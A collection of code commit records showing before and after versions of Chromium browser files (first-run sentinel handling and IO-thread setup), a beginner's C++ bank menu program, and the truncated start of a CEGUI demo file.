<commit_before>// Copyright (c) 2006-2009 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/first_run.h" #include "build/build_config.h" // TODO(port): move more code in back from the first_run_win.cc module. #if defined(OS_WIN) #include "chrome/installer/util/install_util.h" #endif #include "base/file_util.h" #include "base/path_service.h" #include "chrome/common/chrome_paths.h" namespace { // The kSentinelFile file absence will tell us it is a first run. #if defined(OS_WIN) const char kSentinelFile[] = "First Run"; #else // On other platforms de intentionally use a different file name, so // when the remainder of this file is implemented, we can switch to // the proper file name and users will get the first run interface again. const char kSentinelFile[] = "First Run Alpha"; #endif // Gives the full path to the sentinel file. The file might not exist. bool GetFirstRunSentinelFilePath(FilePath* path) { FilePath exe_path; if (!PathService::Get(base::DIR_EXE, &exe_path)) return false; FilePath first_run_sentinel; #if defined(OS_WIN) if (InstallUtil::IsPerUserInstall(exe_path.value().c_str())) { first_run_sentinel = exe_path; } else { if (!PathService::Get(chrome::DIR_USER_DATA, &first_run_sentinel)) return false; } #else // TODO(port): logic as above. Not important for our "First Run Dev" file. if (!PathService::Get(chrome::DIR_USER_DATA, &first_run_sentinel)) return false; #endif first_run_sentinel = first_run_sentinel.AppendASCII(kSentinelFile); *path = first_run_sentinel; return true; } } // namespace bool FirstRun::IsChromeFirstRun() { // A troolean, 0 means not yet set, 1 means set to true, 2 set to false. static int first_run = 0; if (first_run != 0) return first_run == 1; FilePath first_run_sentinel; if (!GetFirstRunSentinelFilePath(&first_run_sentinel) || file_util::PathExists(first_run_sentinel)) { first_run = 2; return false; } first_run = 1; return true; } bool FirstRun::RemoveSentinel() { FilePath first_run_sentinel; if (!GetFirstRunSentinelFilePath(&first_run_sentinel)) return false; return file_util::Delete(first_run_sentinel, false); } bool FirstRun::CreateSentinel() { FilePath first_run_sentinel; if (!GetFirstRunSentinelFilePath(&first_run_sentinel)) return false; return file_util::WriteFile(first_run_sentinel, "", 0) != -1; } <commit_msg>Fix mac.<commit_after>// Copyright (c) 2006-2009 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/first_run.h" #include "build/build_config.h" // TODO(port): move more code in back from the first_run_win.cc module. #if defined(OS_WIN) #include "chrome/installer/util/install_util.h" #endif #include "base/file_util.h" #include "base/path_service.h" #include "chrome/common/chrome_paths.h" namespace { // The kSentinelFile file absence will tell us it is a first run. #if defined(OS_WIN) const char kSentinelFile[] = "First Run"; #else // On other platforms de intentionally use a different file name, so // when the remainder of this file is implemented, we can switch to // the proper file name and users will get the first run interface again. const char kSentinelFile[] = "First Run Alpha"; #endif // Gives the full path to the sentinel file. The file might not exist. bool GetFirstRunSentinelFilePath(FilePath* path) { FilePath exe_path; if (!PathService::Get(base::DIR_EXE, &exe_path)) return false; FilePath first_run_sentinel; #if defined(OS_WIN) if (InstallUtil::IsPerUserInstall(exe_path.value().c_str())) { first_run_sentinel = exe_path; } else { if (!PathService::Get(chrome::DIR_USER_DATA, &first_run_sentinel)) return false; } #else // TODO(port): logic as above. Not important for our "First Run Dev" file. if (!PathService::Get(chrome::DIR_USER_DATA, &first_run_sentinel)) return false; #endif first_run_sentinel = first_run_sentinel.AppendASCII(kSentinelFile); *path = first_run_sentinel; return true; } } // namespace // TODO(port): Mac should share this code. #if !defined(OS_MACOSX) bool FirstRun::IsChromeFirstRun() { // A troolean, 0 means not yet set, 1 means set to true, 2 set to false. static int first_run = 0; if (first_run != 0) return first_run == 1; FilePath first_run_sentinel; if (!GetFirstRunSentinelFilePath(&first_run_sentinel) || file_util::PathExists(first_run_sentinel)) { first_run = 2; return false; } first_run = 1; return true; } #endif bool FirstRun::RemoveSentinel() { FilePath first_run_sentinel; if (!GetFirstRunSentinelFilePath(&first_run_sentinel)) return false; return file_util::Delete(first_run_sentinel, false); } bool FirstRun::CreateSentinel() { FilePath first_run_sentinel; if (!GetFirstRunSentinelFilePath(&first_run_sentinel)) return false; return file_util::WriteFile(first_run_sentinel, "", 0) != -1; } <|endoftext|>
<commit_before>#include "Header.h" int main() { return 0; } <commit_msg>Update MyBank.cpp<commit_after>#include <iostream> #include <stdio.h> #include <stdlib.h> using namespace std; void greet() { int menu; system("clear"); cout<<"Welcome to Pirate Bay Bank, We strive to meet your every need"<<endl<<endl; cout<<"What would ye like to do?"<<endl<<endl; cout<<"\t1) Ope account"<<endl<<endl; cout<<"\t2) Log in"<<endl<<endl; cout<<"\t3) View Bank Stats"<<endl<<endl; cin>>menu; switch (menu) { case 1: //open(); break; case 2: //login(); break; case 3: //bank_stats(); break; default: { cout<<"Please enter the number of the choice you want followed by the enterkey"<<endl; cin; cin.clear(); greet(); } } } int main() { greet(); return 0; } <|endoftext|>
<commit_before>// Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/io_thread.h" #include "base/command_line.h" #include "base/debug/leak_tracker.h" #include "base/logging.h" #include "base/metrics/field_trial.h" #include "base/stl_util-inl.h" #include "base/string_number_conversions.h" #include "base/string_split.h" #include "base/string_util.h" #include "base/thread_restrictions.h" #include "chrome/browser/browser_process.h" #include "chrome/browser/browser_thread.h" #include "chrome/browser/gpu_process_host.h" #include "chrome/browser/net/chrome_net_log.h" #include "chrome/browser/net/connect_interceptor.h" #include "chrome/browser/net/passive_log_collector.h" #include "chrome/browser/net/predictor_api.h" #include "chrome/common/chrome_switches.h" #include "chrome/common/net/url_fetcher.h" #include "net/base/dnsrr_resolver.h" #include "net/base/host_cache.h" #include "net/base/host_resolver.h" #include "net/base/host_resolver_impl.h" #include "net/base/mapped_host_resolver.h" #include "net/base/net_util.h" #include "net/http/http_auth_filter.h" #include "net/http/http_auth_handler_factory.h" #if defined(USE_NSS) #include "net/ocsp/nss_ocsp.h" #endif // defined(USE_NSS) #include "net/proxy/proxy_script_fetcher_impl.h" namespace { net::HostResolver* CreateGlobalHostResolver(net::NetLog* net_log) { const CommandLine& command_line = *CommandLine::ForCurrentProcess(); size_t parallelism = net::HostResolver::kDefaultParallelism; // Use the concurrency override from the command-line, if any. if (command_line.HasSwitch(switches::kHostResolverParallelism)) { std::string s = command_line.GetSwitchValueASCII(switches::kHostResolverParallelism); // Parse the switch (it should be a positive integer formatted as decimal). int n; if (base::StringToInt(s, &n) && n > 0) { parallelism = static_cast<size_t>(n); } else { LOG(ERROR) << "Invalid switch for host resolver parallelism: " << s; } } else { // Set up a field trial to see what impact the total number of concurrent // resolutions have on DNS resolutions. base::FieldTrial::Probability kDivisor = 1000; // For each option (i.e., non-default), we have a fixed probability. base::FieldTrial::Probability kProbabilityPerGroup = 100; // 10%. scoped_refptr<base::FieldTrial> trial = new base::FieldTrial("DnsParallelism", kDivisor); // List options with different counts. // Firefox limits total to 8 in parallel, and default is currently 50. int parallel_6 = trial->AppendGroup("parallel_6", kProbabilityPerGroup); int parallel_8 = trial->AppendGroup("parallel_8", kProbabilityPerGroup); int parallel_10 = trial->AppendGroup("parallel_10", kProbabilityPerGroup); int parallel_14 = trial->AppendGroup("parallel_14", kProbabilityPerGroup); int parallel_20 = trial->AppendGroup("parallel_20", kProbabilityPerGroup); trial->AppendGroup("parallel_default", base::FieldTrial::kAllRemainingProbability); if (trial->group() == parallel_6) parallelism = 6; else if (trial->group() == parallel_8) parallelism = 8; else if (trial->group() == parallel_10) parallelism = 10; else if (trial->group() == parallel_14) parallelism = 14; else if (trial->group() == parallel_20) parallelism = 20; } net::HostResolver* global_host_resolver = net::CreateSystemHostResolver(parallelism, net_log); // Determine if we should disable IPv6 support. if (!command_line.HasSwitch(switches::kEnableIPv6)) { if (command_line.HasSwitch(switches::kDisableIPv6)) { global_host_resolver->SetDefaultAddressFamily(net::ADDRESS_FAMILY_IPV4); } else { net::HostResolverImpl* host_resolver_impl = global_host_resolver->GetAsHostResolverImpl(); if (host_resolver_impl != NULL) { // Use probe to decide if support is warranted. host_resolver_impl->ProbeIPv6Support(); } } } // If hostname remappings were specified on the command-line, layer these // rules on top of the real host resolver. This allows forwarding all requests // through a designated test server. if (!command_line.HasSwitch(switches::kHostResolverRules)) return global_host_resolver; net::MappedHostResolver* remapped_resolver = new net::MappedHostResolver(global_host_resolver); remapped_resolver->SetRulesFromString( command_line.GetSwitchValueASCII(switches::kHostResolverRules)); return remapped_resolver; } class LoggingNetworkChangeObserver : public net::NetworkChangeNotifier::Observer { public: // |net_log| must remain valid throughout our lifetime. explicit LoggingNetworkChangeObserver(net::NetLog* net_log) : net_log_(net_log) { net::NetworkChangeNotifier::AddObserver(this); } ~LoggingNetworkChangeObserver() { net::NetworkChangeNotifier::RemoveObserver(this); } virtual void OnIPAddressChanged() { VLOG(1) << "Observed a change to the network IP addresses"; net_log_->AddEntry(net::NetLog::TYPE_NETWORK_IP_ADDRESSES_CHANGED, base::TimeTicks::Now(), net::NetLog::Source(), net::NetLog::PHASE_NONE, NULL); } private: net::NetLog* net_log_; DISALLOW_COPY_AND_ASSIGN(LoggingNetworkChangeObserver); }; } // namespace // This is a wrapper class around ProxyScriptFetcherImpl that will // keep track of live instances. class IOThread::ManagedProxyScriptFetcher : public net::ProxyScriptFetcherImpl { public: ManagedProxyScriptFetcher(URLRequestContext* context, IOThread* io_thread) : net::ProxyScriptFetcherImpl(context), io_thread_(io_thread) { DCHECK(!ContainsKey(*fetchers(), this)); fetchers()->insert(this); } virtual ~ManagedProxyScriptFetcher() { DCHECK(ContainsKey(*fetchers(), this)); fetchers()->erase(this); } private: ProxyScriptFetchers* fetchers() { return &io_thread_->fetchers_; } IOThread* io_thread_; DISALLOW_COPY_AND_ASSIGN(ManagedProxyScriptFetcher); }; // The IOThread object must outlive any tasks posted to the IO thread before the // Quit task. DISABLE_RUNNABLE_METHOD_REFCOUNT(IOThread); IOThread::Globals::Globals() {} IOThread::Globals::~Globals() {} IOThread::IOThread() : BrowserProcessSubThread(BrowserThread::IO), globals_(NULL), speculative_interceptor_(NULL), predictor_(NULL) {} IOThread::~IOThread() { // We cannot rely on our base class to stop the thread since we want our // CleanUp function to run. Stop(); DCHECK(!globals_); } IOThread::Globals* IOThread::globals() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO)); return globals_; } void IOThread::InitNetworkPredictor( bool prefetching_enabled, base::TimeDelta max_dns_queue_delay, size_t max_concurrent, const chrome_common_net::UrlList& startup_urls, ListValue* referral_list, bool preconnect_enabled) { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); message_loop()->PostTask( FROM_HERE, NewRunnableMethod( this, &IOThread::InitNetworkPredictorOnIOThread, prefetching_enabled, max_dns_queue_delay, max_concurrent, startup_urls, referral_list, preconnect_enabled)); } void IOThread::ChangedToOnTheRecord() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); message_loop()->PostTask( FROM_HERE, NewRunnableMethod( this, &IOThread::ChangedToOnTheRecordOnIOThread)); } net::ProxyScriptFetcher* IOThread::CreateAndRegisterProxyScriptFetcher( URLRequestContext* url_request_context) { return new ManagedProxyScriptFetcher(url_request_context, this); } void IOThread::Init() { #if defined(OS_LINUX) && !defined(OS_CHROMEOS) // TODO(evan): test and enable this on all platforms. // Though this thread is called the "IO" thread, it actually just routes // messages around; it shouldn't be allowed to perform any blocking disk I/O. base::ThreadRestrictions::SetIOAllowed(false); #endif BrowserProcessSubThread::Init(); DCHECK_EQ(MessageLoop::TYPE_IO, message_loop()->type()); #if defined(USE_NSS) net::SetMessageLoopForOCSP(); #endif // defined(USE_NSS) DCHECK(!globals_); globals_ = new Globals; globals_->net_log.reset(new ChromeNetLog()); // Add an observer that will emit network change events to the ChromeNetLog. // Assuming NetworkChangeNotifier dispatches in FIFO order, we should be // logging the network change before other IO thread consumers respond to it. network_change_observer_.reset( new LoggingNetworkChangeObserver(globals_->net_log.get())); globals_->host_resolver.reset( CreateGlobalHostResolver(globals_->net_log.get())); globals_->dnsrr_resolver.reset(new net::DnsRRResolver); globals_->http_auth_handler_factory.reset(CreateDefaultAuthHandlerFactory( globals_->host_resolver.get())); } void IOThread::CleanUp() { #if defined(USE_NSS) net::ShutdownOCSP(); #endif // defined(USE_NSS) // Destroy all URLRequests started by URLFetchers. URLFetcher::CancelAll(); // This must be reset before the ChromeNetLog is destroyed. network_change_observer_.reset(); // If any child processes are still running, terminate them and // and delete the BrowserChildProcessHost instances to release whatever // IO thread only resources they are referencing. BrowserChildProcessHost::TerminateAll(); // Not initialized in Init(). May not be initialized. if (predictor_) { predictor_->Shutdown(); // TODO(willchan): Stop reference counting Predictor. It's owned by // IOThread now. predictor_->Release(); predictor_ = NULL; chrome_browser_net::FreePredictorResources(); } // Deletion will unregister this interceptor. delete speculative_interceptor_; speculative_interceptor_ = NULL; // TODO(eroman): hack for http://crbug.com/15513 if (globals_->host_resolver->GetAsHostResolverImpl()) { globals_->host_resolver.get()->GetAsHostResolverImpl()->Shutdown(); } // Break any cycles between the ProxyScriptFetcher and URLRequestContext. for (ProxyScriptFetchers::const_iterator it = fetchers_.begin(); it != fetchers_.end(); ++it) { (*it)->Cancel(); } // We will delete the NetLog as part of CleanUpAfterMessageLoopDestruction() // in case any of the message loop destruction observers try to access it. deferred_net_log_to_delete_.reset(globals_->net_log.release()); delete globals_; globals_ = NULL; BrowserProcessSubThread::CleanUp(); } void IOThread::CleanUpAfterMessageLoopDestruction() { // TODO(eroman): get rid of this special case for 39723. If we could instead // have a method that runs after the message loop destruction obsevers have // run, but before the message loop itself is destroyed, we could safely // combine the two cleanups. deferred_net_log_to_delete_.reset(); BrowserProcessSubThread::CleanUpAfterMessageLoopDestruction(); // URLRequest instances must NOT outlive the IO thread. // // To allow for URLRequests to be deleted from // MessageLoop::DestructionObserver this check has to happen after CleanUp // (which runs before DestructionObservers). base::debug::LeakTracker<URLRequest>::CheckForLeaks(); } net::HttpAuthHandlerFactory* IOThread::CreateDefaultAuthHandlerFactory( net::HostResolver* resolver) { const CommandLine& command_line = *CommandLine::ForCurrentProcess(); // Get the whitelist information from the command line, create an // HttpAuthFilterWhitelist, and attach it to the HttpAuthHandlerFactory. net::HttpAuthFilterWhitelist* auth_filter_default_credentials = NULL; if (command_line.HasSwitch(switches::kAuthServerWhitelist)) { auth_filter_default_credentials = new net::HttpAuthFilterWhitelist( command_line.GetSwitchValueASCII(switches::kAuthServerWhitelist)); } net::HttpAuthFilterWhitelist* auth_filter_delegate = NULL; if (command_line.HasSwitch(switches::kAuthNegotiateDelegateWhitelist)) { auth_filter_delegate = new net::HttpAuthFilterWhitelist( command_line.GetSwitchValueASCII( switches::kAuthNegotiateDelegateWhitelist)); } globals_->url_security_manager.reset( net::URLSecurityManager::Create(auth_filter_default_credentials, auth_filter_delegate)); // Determine which schemes are supported. std::string csv_auth_schemes = "basic,digest,ntlm,negotiate"; if (command_line.HasSwitch(switches::kAuthSchemes)) csv_auth_schemes = StringToLowerASCII( command_line.GetSwitchValueASCII(switches::kAuthSchemes)); std::vector<std::string> supported_schemes; base::SplitString(csv_auth_schemes, ',', &supported_schemes); return net::HttpAuthHandlerRegistryFactory::Create( supported_schemes, globals_->url_security_manager.get(), resolver, command_line.HasSwitch(switches::kDisableAuthNegotiateCnameLookup), command_line.HasSwitch(switches::kEnableAuthNegotiatePort)); } void IOThread::InitNetworkPredictorOnIOThread( bool prefetching_enabled, base::TimeDelta max_dns_queue_delay, size_t max_concurrent, const chrome_common_net::UrlList& startup_urls, ListValue* referral_list, bool preconnect_enabled) { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO)); CHECK(!predictor_); chrome_browser_net::EnablePredictor(prefetching_enabled); predictor_ = new chrome_browser_net::Predictor( globals_->host_resolver.get(), max_dns_queue_delay, max_concurrent, preconnect_enabled); predictor_->AddRef(); // Speculative_interceptor_ is used to predict subresource usage. DCHECK(!speculative_interceptor_); speculative_interceptor_ = new chrome_browser_net::ConnectInterceptor; FinalizePredictorInitialization(predictor_, startup_urls, referral_list); } void IOThread::ChangedToOnTheRecordOnIOThread() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO)); if (predictor_) { // Destroy all evidence of our OTR session. predictor_->Predictor::DiscardAllResults(); } // Clear the host cache to avoid showing entries from the OTR session // in about:net-internals. if (globals_->host_resolver->GetAsHostResolverImpl()) { net::HostCache* host_cache = globals_->host_resolver.get()->GetAsHostResolverImpl()->cache(); if (host_cache) host_cache->clear(); } // Clear all of the passively logged data. // TODO(eroman): this is a bit heavy handed, really all we need to do is // clear the data pertaining to off the record context. globals_->net_log->passive_collector()->Clear(); } <commit_msg>Mac: turn on file access checks for the IO thread.<commit_after>// Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/io_thread.h" #include "base/command_line.h" #include "base/debug/leak_tracker.h" #include "base/logging.h" #include "base/metrics/field_trial.h" #include "base/stl_util-inl.h" #include "base/string_number_conversions.h" #include "base/string_split.h" #include "base/string_util.h" #include "base/thread_restrictions.h" #include "chrome/browser/browser_process.h" #include "chrome/browser/browser_thread.h" #include "chrome/browser/gpu_process_host.h" #include "chrome/browser/net/chrome_net_log.h" #include "chrome/browser/net/connect_interceptor.h" #include "chrome/browser/net/passive_log_collector.h" #include "chrome/browser/net/predictor_api.h" #include "chrome/common/chrome_switches.h" #include "chrome/common/net/url_fetcher.h" #include "net/base/dnsrr_resolver.h" #include "net/base/host_cache.h" #include "net/base/host_resolver.h" #include "net/base/host_resolver_impl.h" #include "net/base/mapped_host_resolver.h" #include "net/base/net_util.h" #include "net/http/http_auth_filter.h" #include "net/http/http_auth_handler_factory.h" #if defined(USE_NSS) #include "net/ocsp/nss_ocsp.h" #endif // defined(USE_NSS) #include "net/proxy/proxy_script_fetcher_impl.h" namespace { net::HostResolver* CreateGlobalHostResolver(net::NetLog* net_log) { const CommandLine& command_line = *CommandLine::ForCurrentProcess(); size_t parallelism = net::HostResolver::kDefaultParallelism; // Use the concurrency override from the command-line, if any. if (command_line.HasSwitch(switches::kHostResolverParallelism)) { std::string s = command_line.GetSwitchValueASCII(switches::kHostResolverParallelism); // Parse the switch (it should be a positive integer formatted as decimal). int n; if (base::StringToInt(s, &n) && n > 0) { parallelism = static_cast<size_t>(n); } else { LOG(ERROR) << "Invalid switch for host resolver parallelism: " << s; } } else { // Set up a field trial to see what impact the total number of concurrent // resolutions have on DNS resolutions. base::FieldTrial::Probability kDivisor = 1000; // For each option (i.e., non-default), we have a fixed probability. base::FieldTrial::Probability kProbabilityPerGroup = 100; // 10%. scoped_refptr<base::FieldTrial> trial = new base::FieldTrial("DnsParallelism", kDivisor); // List options with different counts. // Firefox limits total to 8 in parallel, and default is currently 50. int parallel_6 = trial->AppendGroup("parallel_6", kProbabilityPerGroup); int parallel_8 = trial->AppendGroup("parallel_8", kProbabilityPerGroup); int parallel_10 = trial->AppendGroup("parallel_10", kProbabilityPerGroup); int parallel_14 = trial->AppendGroup("parallel_14", kProbabilityPerGroup); int parallel_20 = trial->AppendGroup("parallel_20", kProbabilityPerGroup); trial->AppendGroup("parallel_default", base::FieldTrial::kAllRemainingProbability); if (trial->group() == parallel_6) parallelism = 6; else if (trial->group() == parallel_8) parallelism = 8; else if (trial->group() == parallel_10) parallelism = 10; else if (trial->group() == parallel_14) parallelism = 14; else if (trial->group() == parallel_20) parallelism = 20; } net::HostResolver* global_host_resolver = net::CreateSystemHostResolver(parallelism, net_log); // Determine if we should disable IPv6 support. if (!command_line.HasSwitch(switches::kEnableIPv6)) { if (command_line.HasSwitch(switches::kDisableIPv6)) { global_host_resolver->SetDefaultAddressFamily(net::ADDRESS_FAMILY_IPV4); } else { net::HostResolverImpl* host_resolver_impl = global_host_resolver->GetAsHostResolverImpl(); if (host_resolver_impl != NULL) { // Use probe to decide if support is warranted. host_resolver_impl->ProbeIPv6Support(); } } } // If hostname remappings were specified on the command-line, layer these // rules on top of the real host resolver. This allows forwarding all requests // through a designated test server. if (!command_line.HasSwitch(switches::kHostResolverRules)) return global_host_resolver; net::MappedHostResolver* remapped_resolver = new net::MappedHostResolver(global_host_resolver); remapped_resolver->SetRulesFromString( command_line.GetSwitchValueASCII(switches::kHostResolverRules)); return remapped_resolver; } class LoggingNetworkChangeObserver : public net::NetworkChangeNotifier::Observer { public: // |net_log| must remain valid throughout our lifetime. explicit LoggingNetworkChangeObserver(net::NetLog* net_log) : net_log_(net_log) { net::NetworkChangeNotifier::AddObserver(this); } ~LoggingNetworkChangeObserver() { net::NetworkChangeNotifier::RemoveObserver(this); } virtual void OnIPAddressChanged() { VLOG(1) << "Observed a change to the network IP addresses"; net_log_->AddEntry(net::NetLog::TYPE_NETWORK_IP_ADDRESSES_CHANGED, base::TimeTicks::Now(), net::NetLog::Source(), net::NetLog::PHASE_NONE, NULL); } private: net::NetLog* net_log_; DISALLOW_COPY_AND_ASSIGN(LoggingNetworkChangeObserver); }; } // namespace // This is a wrapper class around ProxyScriptFetcherImpl that will // keep track of live instances. class IOThread::ManagedProxyScriptFetcher : public net::ProxyScriptFetcherImpl { public: ManagedProxyScriptFetcher(URLRequestContext* context, IOThread* io_thread) : net::ProxyScriptFetcherImpl(context), io_thread_(io_thread) { DCHECK(!ContainsKey(*fetchers(), this)); fetchers()->insert(this); } virtual ~ManagedProxyScriptFetcher() { DCHECK(ContainsKey(*fetchers(), this)); fetchers()->erase(this); } private: ProxyScriptFetchers* fetchers() { return &io_thread_->fetchers_; } IOThread* io_thread_; DISALLOW_COPY_AND_ASSIGN(ManagedProxyScriptFetcher); }; // The IOThread object must outlive any tasks posted to the IO thread before the // Quit task. DISABLE_RUNNABLE_METHOD_REFCOUNT(IOThread); IOThread::Globals::Globals() {} IOThread::Globals::~Globals() {} IOThread::IOThread() : BrowserProcessSubThread(BrowserThread::IO), globals_(NULL), speculative_interceptor_(NULL), predictor_(NULL) {} IOThread::~IOThread() { // We cannot rely on our base class to stop the thread since we want our // CleanUp function to run. Stop(); DCHECK(!globals_); } IOThread::Globals* IOThread::globals() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO)); return globals_; } void IOThread::InitNetworkPredictor( bool prefetching_enabled, base::TimeDelta max_dns_queue_delay, size_t max_concurrent, const chrome_common_net::UrlList& startup_urls, ListValue* referral_list, bool preconnect_enabled) { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); message_loop()->PostTask( FROM_HERE, NewRunnableMethod( this, &IOThread::InitNetworkPredictorOnIOThread, prefetching_enabled, max_dns_queue_delay, max_concurrent, startup_urls, referral_list, preconnect_enabled)); } void IOThread::ChangedToOnTheRecord() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); message_loop()->PostTask( FROM_HERE, NewRunnableMethod( this, &IOThread::ChangedToOnTheRecordOnIOThread)); } net::ProxyScriptFetcher* IOThread::CreateAndRegisterProxyScriptFetcher( URLRequestContext* url_request_context) { return new ManagedProxyScriptFetcher(url_request_context, this); } void IOThread::Init() { #if (defined(OS_LINUX) && !defined(OS_CHROMEOS)) || defined(OS_MACOSX) // TODO(evan): test and enable this on all platforms. // Though this thread is called the "IO" thread, it actually just routes // messages around; it shouldn't be allowed to perform any blocking disk I/O. base::ThreadRestrictions::SetIOAllowed(false); #endif BrowserProcessSubThread::Init(); DCHECK_EQ(MessageLoop::TYPE_IO, message_loop()->type()); #if defined(USE_NSS) net::SetMessageLoopForOCSP(); #endif // defined(USE_NSS) DCHECK(!globals_); globals_ = new Globals; globals_->net_log.reset(new ChromeNetLog()); // Add an observer that will emit network change events to the ChromeNetLog. // Assuming NetworkChangeNotifier dispatches in FIFO order, we should be // logging the network change before other IO thread consumers respond to it. network_change_observer_.reset( new LoggingNetworkChangeObserver(globals_->net_log.get())); globals_->host_resolver.reset( CreateGlobalHostResolver(globals_->net_log.get())); globals_->dnsrr_resolver.reset(new net::DnsRRResolver); globals_->http_auth_handler_factory.reset(CreateDefaultAuthHandlerFactory( globals_->host_resolver.get())); } void IOThread::CleanUp() { #if defined(USE_NSS) net::ShutdownOCSP(); #endif // defined(USE_NSS) // Destroy all URLRequests started by URLFetchers. URLFetcher::CancelAll(); // This must be reset before the ChromeNetLog is destroyed. network_change_observer_.reset(); // If any child processes are still running, terminate them and // and delete the BrowserChildProcessHost instances to release whatever // IO thread only resources they are referencing. BrowserChildProcessHost::TerminateAll(); // Not initialized in Init(). May not be initialized. if (predictor_) { predictor_->Shutdown(); // TODO(willchan): Stop reference counting Predictor. It's owned by // IOThread now. predictor_->Release(); predictor_ = NULL; chrome_browser_net::FreePredictorResources(); } // Deletion will unregister this interceptor. delete speculative_interceptor_; speculative_interceptor_ = NULL; // TODO(eroman): hack for http://crbug.com/15513 if (globals_->host_resolver->GetAsHostResolverImpl()) { globals_->host_resolver.get()->GetAsHostResolverImpl()->Shutdown(); } // Break any cycles between the ProxyScriptFetcher and URLRequestContext. for (ProxyScriptFetchers::const_iterator it = fetchers_.begin(); it != fetchers_.end(); ++it) { (*it)->Cancel(); } // We will delete the NetLog as part of CleanUpAfterMessageLoopDestruction() // in case any of the message loop destruction observers try to access it. deferred_net_log_to_delete_.reset(globals_->net_log.release()); delete globals_; globals_ = NULL; BrowserProcessSubThread::CleanUp(); } void IOThread::CleanUpAfterMessageLoopDestruction() { // TODO(eroman): get rid of this special case for 39723. If we could instead // have a method that runs after the message loop destruction obsevers have // run, but before the message loop itself is destroyed, we could safely // combine the two cleanups. deferred_net_log_to_delete_.reset(); BrowserProcessSubThread::CleanUpAfterMessageLoopDestruction(); // URLRequest instances must NOT outlive the IO thread. // // To allow for URLRequests to be deleted from // MessageLoop::DestructionObserver this check has to happen after CleanUp // (which runs before DestructionObservers). base::debug::LeakTracker<URLRequest>::CheckForLeaks(); } net::HttpAuthHandlerFactory* IOThread::CreateDefaultAuthHandlerFactory( net::HostResolver* resolver) { const CommandLine& command_line = *CommandLine::ForCurrentProcess(); // Get the whitelist information from the command line, create an // HttpAuthFilterWhitelist, and attach it to the HttpAuthHandlerFactory. net::HttpAuthFilterWhitelist* auth_filter_default_credentials = NULL; if (command_line.HasSwitch(switches::kAuthServerWhitelist)) { auth_filter_default_credentials = new net::HttpAuthFilterWhitelist( command_line.GetSwitchValueASCII(switches::kAuthServerWhitelist)); } net::HttpAuthFilterWhitelist* auth_filter_delegate = NULL; if (command_line.HasSwitch(switches::kAuthNegotiateDelegateWhitelist)) { auth_filter_delegate = new net::HttpAuthFilterWhitelist( command_line.GetSwitchValueASCII( switches::kAuthNegotiateDelegateWhitelist)); } globals_->url_security_manager.reset( net::URLSecurityManager::Create(auth_filter_default_credentials, auth_filter_delegate)); // Determine which schemes are supported. std::string csv_auth_schemes = "basic,digest,ntlm,negotiate"; if (command_line.HasSwitch(switches::kAuthSchemes)) csv_auth_schemes = StringToLowerASCII( command_line.GetSwitchValueASCII(switches::kAuthSchemes)); std::vector<std::string> supported_schemes; base::SplitString(csv_auth_schemes, ',', &supported_schemes); return net::HttpAuthHandlerRegistryFactory::Create( supported_schemes, globals_->url_security_manager.get(), resolver, command_line.HasSwitch(switches::kDisableAuthNegotiateCnameLookup), command_line.HasSwitch(switches::kEnableAuthNegotiatePort)); } void IOThread::InitNetworkPredictorOnIOThread( bool prefetching_enabled, base::TimeDelta max_dns_queue_delay, size_t max_concurrent, const chrome_common_net::UrlList& startup_urls, ListValue* referral_list, bool preconnect_enabled) { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO)); CHECK(!predictor_); chrome_browser_net::EnablePredictor(prefetching_enabled); predictor_ = new chrome_browser_net::Predictor( globals_->host_resolver.get(), max_dns_queue_delay, max_concurrent, preconnect_enabled); predictor_->AddRef(); // Speculative_interceptor_ is used to predict subresource usage. DCHECK(!speculative_interceptor_); speculative_interceptor_ = new chrome_browser_net::ConnectInterceptor; FinalizePredictorInitialization(predictor_, startup_urls, referral_list); } void IOThread::ChangedToOnTheRecordOnIOThread() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO)); if (predictor_) { // Destroy all evidence of our OTR session. predictor_->Predictor::DiscardAllResults(); } // Clear the host cache to avoid showing entries from the OTR session // in about:net-internals. if (globals_->host_resolver->GetAsHostResolverImpl()) { net::HostCache* host_cache = globals_->host_resolver.get()->GetAsHostResolverImpl()->cache(); if (host_cache) host_cache->clear(); } // Clear all of the passively logged data. // TODO(eroman): this is a bit heavy handed, really all we need to do is // clear the data pertaining to off the record context. globals_->net_log->passive_collector()->Clear(); } <|endoftext|>
<commit_before>/*********************************************************************** filename: CommonDialogsDemo.cpp created: Sun Oct 23 2011 author: Paul D Turner <paul@cegui.org.uk> *************************************************************************/ /*************************************************************************** * Copyright (C) 2004 - 2011 Paul D Turner & The CEGUI Development Team * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. ***************************************************************************/ #include "SampleBase.h" #include "CEGUI/CEGUI.h" //----------------------------------------------------------------------------// class 